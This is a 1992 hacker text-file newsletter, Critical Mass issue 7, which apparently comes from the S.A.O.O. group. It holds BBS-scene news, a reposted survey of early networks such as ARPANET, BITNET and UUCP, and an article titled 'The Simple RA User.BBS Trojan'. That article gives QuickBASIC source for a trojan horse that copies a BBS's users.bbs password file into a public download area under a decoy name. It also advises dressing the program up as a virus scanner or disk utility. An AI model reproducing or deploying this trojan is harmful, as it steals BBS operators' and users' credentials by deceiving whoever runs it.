1540 lines
69 KiB
Plaintext
1540 lines
69 KiB
Plaintext
"It's Alive! It's Alive!"
|
|
|
|
_____________________________________________________________________________
|
|
\~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/
|
|
\ Critical Issue # 07 A Technical Text /
|
|
\ Mass ~~~~~~~~~~~ File Newsletter. /
|
|
\________________________________|____________________________________/
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
__________________________
|
|
__________ l___________ | ___________l
|
|
// \ _______ _____ l|l _____ ______ ___
|
|
// /~~~~~~~\_\ l \ l l l|l l l // \ _ l l
|
|
// / l [] / ~l l~ l|l ~l l~ // /~~~\_\ / \ l l
|
|
<<<< ritical l / l l l|l l l // / / \ l l
|
|
\\ \ l < l l l|l l l <<<< / ___ \ l l
|
|
\\ \_______/~/ l l\ \ l l l|l l l \\ \____/~/ / / \ \ l l_____
|
|
\__________/ l__l \_\ l___l l_l l___l \_______/ /_/ \_\ l_______l
|
|
|
|
==--> ==-->
|
|
____ __ ____ ==--> <03/26/92>
|
|
l \ / l ass ==-->
|
|
l \ / l __ ______ ______
|
|
l \ / l / \ / \ / \ A Technical
|
|
l l\ \ / /l l / \ / /~~~~~~ / /~~~~~~ text file newsletter
|
|
l l\\ / l l / ____ \ \ ~~~~~~/ \ ~~~~~~/ ~~~~~~~~~~~~~~~~~~~~
|
|
l l \\____/ l l / / \ \ ~~~~/ / ~~~~/ / Issue: 7
|
|
l l l l /_/ \_\ /~~~~ / /~~~~ /
|
|
~~~~ ~~~~ ~~~~~~ ~~~~~~
|
|
|
|
|
|
|
|
|
|
Critical Mass Technical Newsletter is free to those who wish
|
|
to gain in further knowledge of topics of Telecommunications,
|
|
Datacommunications, Computer and Phone Security, Software and other
|
|
forms of piracy, explosives, and other forms of not widely known or
|
|
talked about topics.
|
|
|
|
All article are totally original, unless stated otherwise.
|
|
We will not except unoriginal, plagiarized articles, or article
|
|
that contain false information. We except articles from anyone who
|
|
is willing to follow these criteria, and as long the editors, writters
|
|
and S.A.O.O. members feel that the article is worthy to print.
|
|
|
|
We encourage all to download these files and pass them on
|
|
freely to others as long as credits of the editors, writer or
|
|
S.A.O.O. is not modified in any way.
|
|
|
|
There is no set date for release issues, but we attempt to
|
|
put them out as frequently as possible.
|
|
|
|
We now also offer BBS's outside the Tallahassee area to get
|
|
on our BBS listing. If you decide to get on this list, we will send
|
|
you issues as soon as they are produced.
|
|
|
|
If you have any questions pertaining to a article, please
|
|
leave E-Mail to the author of the article. If you cannot get in
|
|
contact with the author, please leave "The Beaver" mail at the
|
|
following BBS's, he will try to put you in touch with the author,
|
|
and/or try to answer your questions.
|
|
|
|
The Beaver
|
|
|
|
The Back Door BBS BlackHawk BBS
|
|
(904)997-6127 (904)421-9255
|
|
|
|
|
|
|
|
Warrior's Retreat Wizard Spell Book
|
|
(904)422-4606 (904)574-3447
|
|
|
|
|
|
Tower Of Power
|
|
(904)668-6745
|
|
|
|
|
|
Or, if you have access, one of the following S.A.O.O. BBS's.
|
|
|
|
Hacker Wholesale <904>PRI-VATE
|
|
Speed Shop <904>PRI-VATE
|
|
S.A.O.O. Main <904>PRI-VATE
|
|
|
|
|
|
If you wish to become a member of the S.A.O.O. please leave
|
|
The Beaver E-Mail, where he will send you an application for you to
|
|
fill out. From there, local S.A.O.O. members in your area will
|
|
consider you and take a vote on if at that date you can become a
|
|
member.
|
|
|
|
|
|
We are always looking for experienced and even
|
|
non-experienced p/hackers to join. Only after a back-ground check and
|
|
the vote, will you be let in. If you fail to get in, do not be mad,
|
|
we have turned down many people. Simply wait, improve the reasons
|
|
that you where not let in, if possible, and in the mean time, learn.
|
|
|
|
We are also looking into other remote S.A.O.O. support
|
|
boards to net with and share information with. In the event that
|
|
you would like to support a S.A.O.O. chapter in your area, please
|
|
contact a member of the Tallahassee S.A.O.O. Benefits do come.
|
|
|
|
Currently we are looking into mostly the Florida region,
|
|
from Jacksonville To Miami, but are willing to reach into other
|
|
areas.
|
|
|
|
Head Chief And Writer - The Beaver
|
|
Editor - Flea
|
|
|
|
|
|
Members - <S>ilicon <A>luminum <O>xidation <O>rganization.
|
|
|
|
|
|
This Issues Articles Include:
|
|
|
|
|
|
I. - Local News
|
|
By The Beaver.
|
|
|
|
II. - Network Discriptions
|
|
By <Unknown>
|
|
|
|
III. - Simple RA BBS User.bbs Trojan
|
|
By The Beaver
|
|
|
|
IV. - How to support yourself doing little to nothing.
|
|
By The Beaver, Shadow Hacker, D.M., Section 8, etc
|
|
|
|
V. - Beav's FTP Batch Hacking Method <For VAX/VMS>
|
|
By The Beaver
|
|
|
|
VI - The SAOO Generic Telenet Scan Part II
|
|
Scanned By The Beaver.
|
|
|
|
VII - Brief discription on really hiding directorys
|
|
By Dementia Meister
|
|
|
|
VIII - Down and dirty chemistry. Part I
|
|
By Art Phish
|
|
|
|
VIV - Closing notes.
|
|
By The Beaver
|
|
|
|
|
|
|
|
__________________________________
|
|
|
|
Local News
|
|
The Beaver
|
|
_______________________
|
|
|
|
|
|
|
|
Hello, and welcome to yet another issue of Critical Mass.
|
|
|
|
|
|
Man has it been a great year for hacking for fellow S.A.O.O.
|
|
members in this area, but we will not go into that right now........
|
|
|
|
As you might recall, in the first CM, I wrote a editorial on about
|
|
the downfall of fun and intresting BBS's that allow you to speak freely.
|
|
I am now happy to say that this is changing rather fast. I have seen more
|
|
pirate boards, both private and public, pop up in this area, that it almost
|
|
brings a tear to my eye. This raise a point.....
|
|
|
|
A new BBS echo has hit the ole town of Tallahassee. It is called
|
|
"[Unregistered] Net", and the primary topic is on Piracy, Hacking, Phreaking,
|
|
and pretty much any topics that are not talked about in the normal realm
|
|
of people. It IS however a totally legal net, so basicly this means that
|
|
there is NO stolen account's/codes/etc traded on this perticular net. If
|
|
you would like to become a part of this net, please contact 'The Beaver'
|
|
or 'Section 8' pretaining to information on the net and how to get on. There
|
|
are currently 5 boards on the net <Actually as of this writing, the net is
|
|
not up yet>, but we expect three or four more to be on in the near future.
|
|
If intrested, mail one of the above, and all information will be
|
|
sent to you. There is also the SAOO net, which will be coming into action
|
|
soon. In order to be a part of this net, one must be either a active member
|
|
of the SAOO and/or support a SAOO support BBS. Please contact one of the
|
|
above for further information.
|
|
|
|
It looks as if the ole Upper Deck will be down longer than expected.
|
|
So don't call looking for it. When it does come back up however, we will
|
|
have more storage so that we can carry more files online.
|
|
|
|
The S.A.O.O. Telenet Generic Telenet Scanner Version 1.1i Beta is
|
|
out, though this is nothing to really brag about. It works, but as stated
|
|
it is a beta version. As you may have noticed, it came with your issue of
|
|
Critical Mass#7. As of this time, you are slightly ahead of people how are
|
|
downloading version 1.0i beta off of Tallahassee BBS's, in that v1.1i beta
|
|
contains a bug fix. See the Doc's for more information! Also, feel
|
|
privileged.
|
|
|
|
Currently, there is some talk also about having a local Computer
|
|
convention of sorts. What is being looked into right now is to have a
|
|
basic get together of modem users in our area, and hopefully along with
|
|
outsiders as well. What is desired is a two day long event in which
|
|
users get together and discuss serval topics, along with speakers in all
|
|
fields, including computer security. What hopes to be arranged is a
|
|
'conference' of sorta, for speakers ranging from MircoSoft to local DEC,
|
|
FCIC, FDLE and possible FBI computer secuity officals. This is in its
|
|
very early planing stages. If you wish to help out the efforts, please
|
|
contacts your nearest S.A.O.O. member!
|
|
|
|
Welp, it looks like ole Abigail Natias is leaving the Tallahassee
|
|
area and is heading for the Ft. Walton Bch area. He has been a fellow
|
|
SAOO member since it was founded. Never fear though, he remains in the
|
|
SAOO, and hopefully, within the next few months, a new SAOO chapter will
|
|
be opening within that area.
|
|
|
|
There is a new BBS on internet that you might find intresting. It
|
|
is pretty much a underground BBS, so to obtain information on it, please
|
|
contact "The Beaver" at one of the given BBS's.
|
|
|
|
|
|
_________________________________________
|
|
|
|
Network Descriptions
|
|
By <Unknown>
|
|
___________________________
|
|
|
|
|
|
|
|
Editor Note:
|
|
|
|
This was orginally a message posted on a BBS in Ft. Walton Bch
|
|
Florida. Unfortunatly, the author is unknown to us, so we
|
|
cannot give him/her credit. Also, this text is somewhat old
|
|
so, not all the information is accurate.
|
|
|
|
|
|
- The Plethora of Networks -
|
|
|
|
|
|
|
|
Since I have been at an ARPANET site for about three years, and a USENET
|
|
site for the same amount of time, I think I can comment on some of the
|
|
Networks that exist out there. Particularly since Berkeley has become
|
|
a gateway for several of them.
|
|
|
|
ARPANET
|
|
-------
|
|
Brought to you by the fun folks at DARPA, it was one of the very first
|
|
experiments with computer networking, and certainly the first on a national
|
|
(and later international) scale. It is centrally controlled and implicitly
|
|
routed (i.e. the network figures out how to get from point a to point b).
|
|
To join, you have to have a gov't sponsor and it is for the execution of
|
|
official gov't business & research. (sure it is...)
|
|
|
|
In so far as I am aware, all links are faster than 9.6Kbaud, and a good
|
|
number of them are 56Kbaud. All appear to be dedicated. Number of sites is
|
|
somewhere between 250 and 300. If you choose to count the whole internet,
|
|
things get a little bigger. Anyone have any ideas about the number of
|
|
internet sites? Three basic services are offered by the ARPANET:
|
|
|
|
FTP - File Transfer Program (fetch/send files anywhere) telnet
|
|
Interactive access to other hosts on the network MAIL Electronic Mail
|
|
|
|
MILNET
|
|
------
|
|
Stepchild of the ARPANET (or perhaps goosestepping child?), MILNET is where
|
|
the military sites gather to do the same things ARPANET does, without
|
|
disruptions caused by networking reseach (i.e. it is a production
|
|
version of the ARPANET). It split from the ARPANET in October of 1983.
|
|
|
|
CSNET
|
|
-----
|
|
This is a network funded (initially, although they will be self-sufficient
|
|
later on) for the purpose of Computer Science Research by the National
|
|
Science Foundation (and probably many others). By self-sufficient', I mean
|
|
that the individual member sites of CSNET will pay the full cost of
|
|
central control, administration, and ARPANET access. Last price I was
|
|
quoted was $30K/year. Presently seems to be between 50-100 sites.
|
|
|
|
I'm a little shaky on what this network has in terms of services, but
|
|
here goes: Services seem to be limited to MAIL, but FTP is coming. Mail is
|
|
handled with the MMDF software, which operates over the phone. There are two
|
|
ARPANET gatways: UDEL-RELAY and RAND-RELAY. These two sites handle the
|
|
phone traffic to the rest of the net (??) from the ARPANET. Network
|
|
addressing is implicit. To get to a CSNET site from the ARPANET:
|
|
|
|
mail person.site@RAND-RELAY (or UDEL-RELAY)
|
|
|
|
BITNET
|
|
------
|
|
This is a network of IBM hosts, and seems to be built along the same lines
|
|
as the ARPANET (implicit addressing, dedicated lines, central control) but
|
|
not all the sites have the same capabilites. Services supported: MAIL,
|
|
and FTP (for those sites that have RSCS). Presently is about 50-60 sites.
|
|
Founded by CUNY, after they got IBM to cough up the software that is used in
|
|
the IBM internal VNET. I have no idea how fast it goes. Scope: national. To
|
|
address someone on the BITNET from the ARPANET:
|
|
|
|
mail person%site.BITNET@BERKELEY
|
|
|
|
BERKELEY's mailer converts this to
|
|
|
|
G:SITE=PERSON
|
|
|
|
and it gets sent to UNIX G (in the UCB Computer Center), which in turn sends
|
|
it to the IBM 4341 (UCBVMA on the BITNET), and from there it goes where
|
|
it's supposed to...
|
|
|
|
DEC Engineering NET (E-NET)
|
|
---------------------------
|
|
This is DEC's internal network of engineering machines (now you know
|
|
where VMS comes from!). It is centrally controlled, semi-implicitly
|
|
routed (they are converting from an explicit routing scheme) and is
|
|
composed of somewhere between 2000 and 2100 sites. Primary service seems to
|
|
be MAIL, but there is no doubt some form of FTP as well. Speed seems to be
|
|
somewhere in the higher ranges (4800+ baud), but I infer this from speed of
|
|
mail propagation alone. This network is international in scope, with
|
|
several European sites. For ARPAnauts, you can mail to the E-NET:
|
|
|
|
mail decwrl!rhea!site!person@BERKELEY
|
|
|
|
The site decwrl' talks to ucbvax' with UUCP. ucbvax' is the ARPANET site
|
|
BERKELEY. The mailer at decwrl converts address syntax to
|
|
|
|
RHEA::SITE::PERSON
|
|
|
|
and away it goes...
|
|
|
|
There is a DEC site on the ARPANET (DEC-MARLBORO) which appears to do
|
|
gatewaying duty now and again, but by hand only. This would be an ideal
|
|
point to establish a real gateway (hint, hint...)
|
|
|
|
(and now, for the grand finale...;drum roll please=)
|
|
|
|
UUCP/USENET (ta da!)
|
|
--------------------
|
|
These two networks are forever intertwined, and from the ARPANET
|
|
point of view, there is little difference between the two. By the
|
|
nature of the beast they must be discussed together. UUCP is an acronym
|
|
for Unix-to-Unix Copy, a file transfer and remote execution facility which
|
|
operates over a direct line (max 9600baud) or over the phone lines
|
|
(typically 1200 baud).
|
|
|
|
Mail is transmitted through the network on a pass it on basis, and at
|
|
present, only the mail software knows how to transfer stuff beyond a site's
|
|
immediate neighbors. The UUCP network exists because some of my neighbors
|
|
talk to some of your neighbors, so through them we can send mail to each
|
|
other. The network has no central control, and no one knows how many
|
|
sites there are, or how far the network extends. Anyone can join the
|
|
network, all it takes is a UNIX system, and another site willing to
|
|
talk to you. After four months of traffic analysis, I have found just
|
|
over 2000 UUCP sites.
|
|
|
|
USENET is a subset of the UUCP network. On top of the existing UUCP
|
|
software, sites in this network run netnews', which is a bboard system,
|
|
also on a pass it on basis. Imagine a bboard system in which you post
|
|
something, and you pass it on to the other USENET sites you talk to (and so
|
|
on, and so on, ad nausem), until the whole network has seen the item you
|
|
posted. The discussions are separated by topic, and if you thought that the
|
|
ARPANET had a wide range mailing lists, the USENET has currently
|
|
somewhere between 150-200 active network wide newsgroups discussing
|
|
things as esoteric as UNIX bugs to mundane things like cooking. There are
|
|
approximately 600 USENET sites covering the continental US, Canada,
|
|
Europe, and Australia. There is a USENET directory kept by Karen
|
|
Summers-Horton (cbosgd!map@BERKELEY), and it is posted monthly on the first
|
|
of the month to net.news.map.
|
|
The anarchy of the network is interesting. Among other things, it
|
|
means that you must have an educated network community (ever try to educate
|
|
people at 600 sites??) and punitive actions are very nearly impossible on
|
|
a unilateral scale. It makes path routing difficult, however. The
|
|
directory includes information about links that a particular site has, but
|
|
it is up to the site to provide and maintain that information. Since the
|
|
network is in a constant state of flux, it is very hard to map the whole
|
|
thing. Unlike the ARPANET, usually the best you can do is get a snapshot.
|
|
|
|
(finis)
|
|
|
|
Now. Where I err, please correct me. Most of the networks mentioned get
|
|
HUMAN-NETS in one form or another, so I expect that corrections will filter
|
|
in over the next few days. However, on the whole, I don't think I have missed
|
|
anything major.
|
|
|
|
For the networkingly confused, I hope I have been of some help. This got
|
|
just a touch longer than I had anticipated.
|
|
A bit more info on Digital's ENET
|
|
|
|
First I'd like to thank the author of the compendium on networks.
|
|
|
|
And second, I'd like to give a little more information on the Digital ENET.
|
|
It is composed of systems running our DECNET software products, first
|
|
introduced about nine years ago.
|
|
|
|
DECNET is much more than a mail network. It is a product built on a
|
|
layered network architecture (DNA) with lower, non-programmer accessible
|
|
data-link and routing layers, and higher, programmer accessible, session
|
|
layers.
|
|
|
|
It is similar to the ISO model on open systems interconnect. Since it is
|
|
older than that model, it does not correspond exactly, but will, more and
|
|
more, as time goes by and as the worldwide networks develop.
|
|
|
|
At the data-link level it can use synchronous or asynchronous lines of
|
|
any speed running DDCMP, public network lines running X.25, parallel
|
|
links running protocols specific to those devices, and Ethernet. Using
|
|
gateway products it can create gateway links into an IBM SNA network.
|
|
|
|
At the user accessible layer, it is possible for any program to open a
|
|
transparent, full-duplex, channel to any other program on the same or any
|
|
other node in the network. Programmers can take advantage of this "network
|
|
logical link" to build any application they wish.
|
|
|
|
Various Digital supported protocols running on logical links are
|
|
host-to-host terminal connections, allowing a user at any node to act as
|
|
an interactive terminal on any other node, Mail, the Data Access Protocol,
|
|
(see next paragraph) and several others.
|
|
|
|
The DAP protocol is used to copy files, but it is much more than a file
|
|
copy protocol. It permits a program on any system to access a file on any
|
|
other system as though that file were a local file. In fact, VMS and RSX
|
|
using the DAP routines buried in RMS permit a nodename to be simply a part
|
|
of a file spec used by any program.
|
|
|
|
DECNET does a bit more than implicit routing; it does dynamic path routing.
|
|
As a result, given sufficient alternate paths, the loss of an
|
|
intermediate node does not affect the operation of traffic currently routing
|
|
through that node. Dynamic path routing was first made available in
|
|
DECNET Phase III, offered for sale almost five years ago.
|
|
|
|
For example, since our network has three transatlantic links, a few
|
|
months ago, we had a serious failure of the links between Massachusetts and
|
|
the remainder of our engineering and marketing headquarters 30 miles to the
|
|
north in New Hampshire. But due to the fact that some of our transatlantic
|
|
links go into New Hampshire and others into Maynard, we did not immediately
|
|
notice the problem. Things got a bit slower, since we were no longer using
|
|
several 56Kbps links but were pushing all traffic through some 9600bps links
|
|
to the U.K., down to Geneva, and back. The reason there occasionally appears
|
|
to be some implicit routing in our node strings is that the Phase III
|
|
version of DECNET had a maximum of 256 addresses. This restriction has been
|
|
lifted in Phase IV. However, as a result of the restriction, it was
|
|
necessary for us to partition our network.
|
|
|
|
Reassigning node numbers will not be complete for several months, and not
|
|
all systems will upgrade, so there may be a few systems which require one
|
|
intermediate hop from RHEA. Many of these will have definitions on RHEA
|
|
making that transparent to the sender (though a recipient would see the
|
|
hop). The rest should be directly addressable from RHEA, whether located
|
|
in the U.S., Canada, the Caribbean, Europe (13 countries now), the Middle
|
|
East, the Far East, or Australia. (Remember, IBM is the only computer
|
|
manufacturer larger than Digital.)
|
|
|
|
Compliments to Mr. Fair - an excellent summary article. Would that Human-Nets
|
|
had more such.
|
|
|
|
To expand on CSNET: It is currently funded by the NSF, and expects to
|
|
become self-supporting during the next few years, based on member fees. These
|
|
fees are:
|
|
|
|
$ 30,000 - commercial sites
|
|
$ 10,000 - government and not-for-profit
|
|
$ 5,000 - educational
|
|
|
|
These fees may be reduced by petitioning for a reduction in the
|
|
case of small outfits, and are lower for people who already have a net
|
|
connection via Arpanet.
|
|
The CSNET membership list as of Dec. 1
|
|
shows:
|
|
|
|
85 Phonenet sites
|
|
6 Telenet sites
|
|
18 Arpanet sites
|
|
4 CSNET-owned hosts
|
|
|
|
Not all of these sites are operational yet, though most are. Phonenet sites
|
|
are served by two Relay machines, which call them up nightly to exchange
|
|
mail. Text files may be automatically transferred using MMDF-based
|
|
mail-receipt programs, though this is obviously not the best way to do
|
|
business. Bandwidth here is limited by the 1200-baud phone lines as well as
|
|
by the capacities of the Relays. Mailing-list stuff can be handled OK,
|
|
but Usenet traffic breaks the Relays by sheer load.
|
|
|
|
Telenet sites run TCP/IP on top of X.25 virtual circuits, using software
|
|
developed for CSNET at Purdue. Personally I think this is hot stuff.
|
|
If your phone bills are $1500/month, you can run equivalent traffic over
|
|
Telenet for about $1200/month, last time we figured it out. And, you get
|
|
full Internet connectivity and services into the bargain. Because the
|
|
drop lines from Telenet to the host are really only 9600, 4800, or 1200
|
|
baud dedicated phone lines, instantaneous bandwidth is not as good
|
|
as Arpanet, but it's not bad. And, you and the rest of the world will be
|
|
hard-put to tell that you're not on Arpanet directly, except you don't
|
|
have to deal with the DoD. This software really works, and works well.
|
|
|
|
Arpanet sites run standard Arpanet software - no change.
|
|
|
|
In addition to simple net connectivity, CSNET brings the
|
|
benefits of centralized network management. Basically this means that
|
|
if your mail isn't moving, you have experts to scream to, and they really
|
|
will work hard to fix the problem. There are other benefits such as
|
|
ongoing mail system development, an automatic nameserver, and so forth.
|
|
|
|
Management of CSNET has recently been transferred away from the contractor
|
|
committees which built the net to a newly-formed Executive Committee,
|
|
which is overseeing the move from a research to a service organization.
|
|
The two relay machines are moving to BBN - it's cheaper and easier to run a
|
|
single computer center and communicate via WATS lines than to spread out the
|
|
Relay operations.
|
|
|
|
Just to clarify something... DECNET is the name of a product sold by Digital
|
|
which any customer can use to build their own network.
|
|
|
|
DECNET is used to build Digital's internal network. The internal network
|
|
name has been a hotly debated subject (what's in a name?) but the most
|
|
commonly used name is the ENET, since the largest internal use was within
|
|
Engineering.
|
|
|
|
Now the whole company is being interconnected, and Engineering
|
|
Network is not really an appropriate name. But the E in ENET doesn't
|
|
necessarily have to stand for Engineering.
|
|
|
|
We think it can stand for Everthing, Employee, Everywhere, or whatever
|
|
anyone wants it to stand for.
|
|
The lack of any serious central control (other than a nodename
|
|
registry) makes things like this not really matter.
|
|
|
|
Here's a network you left out: the XEROX Internet. Most outsiders tend to
|
|
overlook the XEROX Internet, for various reasons:
|
|
|
|
1) only a small proportion of the traffic is gatewayed to or from other
|
|
networks;
|
|
2) what little gatewaying there is gets done almost invisibly;
|
|
3) the name difficulty. (I'm told that XEROX used "Internet" first, but that
|
|
doesn't matter much now.)
|
|
|
|
The XEROX Internet only has about 2000 users, but it is widely distributed,
|
|
with users in Europe and Japan.
|
|
|
|
The mail transport mechanism within the XEROX Internet is called
|
|
Grapevine. Grapevine addresses look like "<user>.<registry>". If the
|
|
registry you're sending to is the one you are in, you can leave it off, and
|
|
the address becomes merely "<user>". Registries are geographic - the two
|
|
largest are "PA" (Palo Alto), for Northern California, and "ES" (El
|
|
Segundo), for Southern California.
|
|
|
|
To send mail in from the ARPAnet, the address looks like:
|
|
|
|
"<user>.<registry>@PARC-MAXC".
|
|
|
|
If the registry is PA, you can leave it off, giving "<user>@PARC-MAXC".
|
|
This is what I mean by invisible gatewaying - to outsiders, it looks
|
|
like all 2000 of us Xeroids receive our mail on poor little PARC-MAXC. Not
|
|
so - it's just a gateway. I think the source of the confusion is that people
|
|
are used to explicitly specifying a host for the mail to be delivered to,
|
|
as well as a user on that host. Grapevine's mail servers are politely
|
|
invisible.
|
|
Sending mail out to the ARPAnet is as easy as pi. "ARPA" is just another
|
|
registry, so I just say "<user>@<host>.ARPA". Or if I'm really
|
|
lazy, I can just say "<user>@<host>", since anything with at atsign
|
|
automatically goes to the ARPAnet.
|
|
|
|
In addition to the networks previously described, there are five public data
|
|
networks actively serving the US and more in the works. The five national
|
|
PDNs are all common carriers, like Greyhound - that is, anybody whos pays
|
|
the fare can use them. They all provide an X.25 interface, which gives
|
|
a virtual circuit service - there is as yet no international standard for
|
|
mail or FTP. All provide a virtual terminal capability via the X.3/X.29
|
|
PAD standards. They all compete vigorously for business, and I'm sure
|
|
I'll hear about it immediately if I have left out anybody's capability.
|
|
Here (in alphabetical order) are the five established PDNs:
|
|
|
|
ADP Autonet
|
|
175 Jackson Plaza
|
|
Ann Arbor, MI 48106
|
|
(313) 769-6800
|
|
|
|
Besides the US, has satellite links to London, England and Delft, The
|
|
Netherlands. Maximum internal speed is 9600 bps. Nodes are PDP-11s with
|
|
KMC-11 front end microprocessors. Internal protocol was described to me
|
|
as derivative of the old ARPAnet protocols.
|
|
|
|
CompuServe Incorporated
|
|
Network Services Division
|
|
5000 Arlington Centre Blvd.
|
|
P.O. Box 12
|
|
Columbus, OH 43220
|
|
(614) 457-8600
|
|
|
|
Internal speeds to 56k bps. Nodes are PDP-11s with 6809 microprocessor front
|
|
ends. Internal protocol is DDCMP.
|
|
|
|
GTE Telenet Communications Corp.
|
|
8229 Boone Boulevard
|
|
Vienna, VA 22180
|
|
(703) 442-1000
|
|
|
|
Internal speeds to 56k bps. Nodes are arrays of 6502s in a redundant, load
|
|
sharing configuration. Internal protocol conforms to CCITT
|
|
Recommendation X.75. Supports automatic recovery of virtual circuit
|
|
when a node fails during a call. Built by some of the folks from BBN who
|
|
built the ARPAnet originally. Provides a mail service called Telemail.
|
|
|
|
Tymnet, Inc.
|
|
2710 Orchard Parkway
|
|
San Jose, CA 95134
|
|
(408) 946-4900
|
|
|
|
Internal speeds to 56k bps. Nodes are arrays of "Tymnet Engines" in a
|
|
redundant, load sharing configuration. The Tymnet Engine is a Tymnet-built
|
|
32-bit processor derived from the Interdata 732, re-engineered for
|
|
extremely high MTBF. Internal protocol is a unique Tymnet design which
|
|
repacketizes inside the network and does flow control at the byte level,
|
|
like TCP. Supports automatic recovery of virtual circuit when a node fails
|
|
during a call. Provides a mail service called OnTyme.
|
|
|
|
Uninet
|
|
United Telecom Communications, Inc.
|
|
2525 Washington
|
|
Kansas City, MO 64108
|
|
(816) 221-2444
|
|
|
|
Internal speeds to 56k bps. Nodes are Modcomp 7830s. Internal protocol is a
|
|
Uninet-designed virtual circuit protocol, on top of HDLC.
|
|
|
|
In addition there is, of course, the new AT&T offering, NET/1000. Nodes
|
|
consist of arrays of VAXen with a Series/I for line handling. They see
|
|
the function of their network as storing information, rather than just
|
|
forwarding it like the other networks. The internal protocol is X.25, but
|
|
they don't support an X.25 user interface! (No, I don't know why). For
|
|
further information, call Mr. John M. Finn, their San Francisco account
|
|
executive at (415) 452-7292.
|
|
|
|
Graphic Scanning and Computer Sciences Corp. are in the process of spinning
|
|
off their internal networks, as GraphNet and InfoNet respectively I
|
|
believe. There will probably be X.25 interfaces, if they don't exist
|
|
already.
|
|
|
|
GE Information Services Company has an internal network called MARK*NET.
|
|
There is not as yet an X.25 interface to it.
|
|
|
|
And, how could I forget, the State of Utah boasts its own Public Data
|
|
Network! It is called ComWest and is being spun off by Blue Cross/Blue
|
|
Shield of Utah, which needed a good way to get claims data from places
|
|
like Panguitch, Utah up to Salt Lake City. The internal circuits are leased
|
|
from Mountain Bell (no, they're not barbed wire, skeptics) and run up to
|
|
9600 bps. Nodes are Dynatech Packet Technology Multi-Switch.25 packet
|
|
switches, which are based on the Z80 micro. There are several sites besides
|
|
BC/BS, one of them being the University of Utah DECSYSTEM-20.
|
|
|
|
Outside the US, there are public data networks operating in about forty
|
|
foreign countries, basically the ones that are industrialized. We have a
|
|
user who logs in regularly from Stockholm via the Swedish PDN <->
|
|
Telenet <-> ComWest. He says he gets good response.
|
|
|
|
|
|
|
|
_______________________________________
|
|
|
|
The Simple RA User.BBS Trojan.
|
|
By The Beaver
|
|
_____________________________
|
|
|
|
|
|
|
|
Member S.A.O.O. <Silicon Aluminim Oxidation Organization>
|
|
|
|
|
|
|
|
|
|
The entire idea behind the code is simple. To get the User.BBS file,
|
|
which contains all the user's and there passwords <Along with other intresting
|
|
facts>. It is currently set for RA, but can probably be modified for Qbbs, or
|
|
what not.... Here is the little "ho-down" on the program and it's steps.
|
|
|
|
|
|
1> Find RA's User.bbs file, using the program "dirscan.com"
|
|
Once found, store the path.
|
|
2> Find a file that you are SURE is in a files transfer area. Take for
|
|
instance, if you know that there is a file in the Utilities area
|
|
called "bigdeal.zip", and you want the User.BBS file to go in
|
|
that directory, we search for "bigdeal.zip", and store the path
|
|
it came from.
|
|
3> copy the User.BBS to the file transfer area as something non-
|
|
suspision. So if it copys, as in our example, to the utility
|
|
directory, make it something like, "list.com" it is copied.
|
|
<NOTE: Make sure that the "utility" does NOT actually exsist!>
|
|
4> Call everyday and do a "raw directory" and look for the file.
|
|
Since the files.bbs is not modifed, it will not be seen on a
|
|
normal file list, so a raw is required. If raw-directory is not
|
|
supported, then simply go on everyday and try to download
|
|
the name it is stored under. In our case, "list.com". If it is
|
|
there, whether or not it is in a standard file list, it can be down-
|
|
loaded.
|
|
|
|
The "diskscan" program is nothing more than a utility like, "where".
|
|
Basicly all it does it find files for you. This should not be a
|
|
very hard utility to find.
|
|
|
|
|
|
Once you obtain the user file, you should have no problem with a
|
|
text editor going though and determining what the username and
|
|
passwords are, along with other information.
|
|
If you are of thoughs neat types, you can get RA or the utility
|
|
"rauser.exe" and rename your physdo utility back to "users.bbs" and
|
|
with a few little modification, you can use the utility that looks
|
|
though that and gathers the fields. Anyrate, I hope you enjoy this,
|
|
but it real was not that hard to do.
|
|
|
|
Actually, Dementia Meister is writting a better version of this
|
|
in pascal, but I am sure you can figure it out and convert it to
|
|
whatever laugage you so desire.
|
|
|
|
|
|
Also, I would like to note the fact that this is not
|
|
a very easy bug to cure, and I see no what for sysops
|
|
to protect themselve from the use of this method, other
|
|
than having a careful eye. <At least not right off ayway>.
|
|
|
|
|
|
Member S.A.O.O. < Leave mail on membership >
|
|
< Only the worthy hack's >
|
|
< need apply! >
|
|
|
|
|
|
---==<Beaver>==---
|
|
|
|
|
|
|
|
|
|
|
|
|
|
' This is version 1.0 of the RA user.bbs trojan horse.
|
|
' Object.... To find users.bbs and copy it to a download
|
|
' area, so that it maybe download, thus all usernames and passwords
|
|
' are obtained.
|
|
'
|
|
' This program uses "dirscan.com" file finder.
|
|
'
|
|
' Written By The Beaver
|
|
|
|
|
|
SHELL "dirscan users.bbs >me" ' Find User.bbs with full path
|
|
' and put it in a file called
|
|
' "me".
|
|
|
|
OPEN "me" FOR INPUT AS #1
|
|
INPUT #1, userbbs$ ' Grab Path out of the file.
|
|
CLOSE #1 ' okay, we are done.
|
|
KILL "me" ' kill the "diskscan" output file
|
|
|
|
SHELL "dirscan (filename) >me" ' Now find the file transfer area.
|
|
' we search for a file we KNOW is
|
|
' there.
|
|
' Replace the (filename) with a
|
|
' file that you know is in the
|
|
' download directory
|
|
|
|
|
|
OPEN "me" FOR INPUT AS #1 ' Grab path out of file again.
|
|
INPUT #1, filetrans$ ' Okay, got it!
|
|
CLOSE #1
|
|
KILL "me" ' kill the "diskscan" output file
|
|
|
|
|
|
FOR i = LEN(filetrans$) TO 1 STEP -1
|
|
IF MID$(filetrans$, i, 1) = "\" THEN a = i: GOTO step2
|
|
NEXT i
|
|
|
|
|
|
step2:
|
|
|
|
filepath$ = LEFT$(filetrans$, a) ' okay, we got the file area
|
|
' path we need. Now do the
|
|
' dirty deed.
|
|
|
|
SHELL "copy " + userbbs$ + " " + filepath$ + "neatgame.exe >me"
|
|
|
|
KILL "me" ' the ">me" keeps output from going to the screen
|
|
' <the "1 file copied" message>. All output to
|
|
' con. is redirected to a file. We are killing this
|
|
' file
|
|
|
|
' Also, make the "neatgame.exe" to what ever file
|
|
' you desire to call it.
|
|
|
|
|
|
' From this code, I advise a few things. This is only raw source.
|
|
' Add in a few nifty things, so it appears as a virus scanner or
|
|
' maybe a disk doctor or something. Just add in print statements
|
|
' here and there. Plus, as some sort of disk utility, all the hard
|
|
' disk access can be explained!
|
|
|
|
|
|
|
|
|
|
|
|
_______________________________________________________________
|
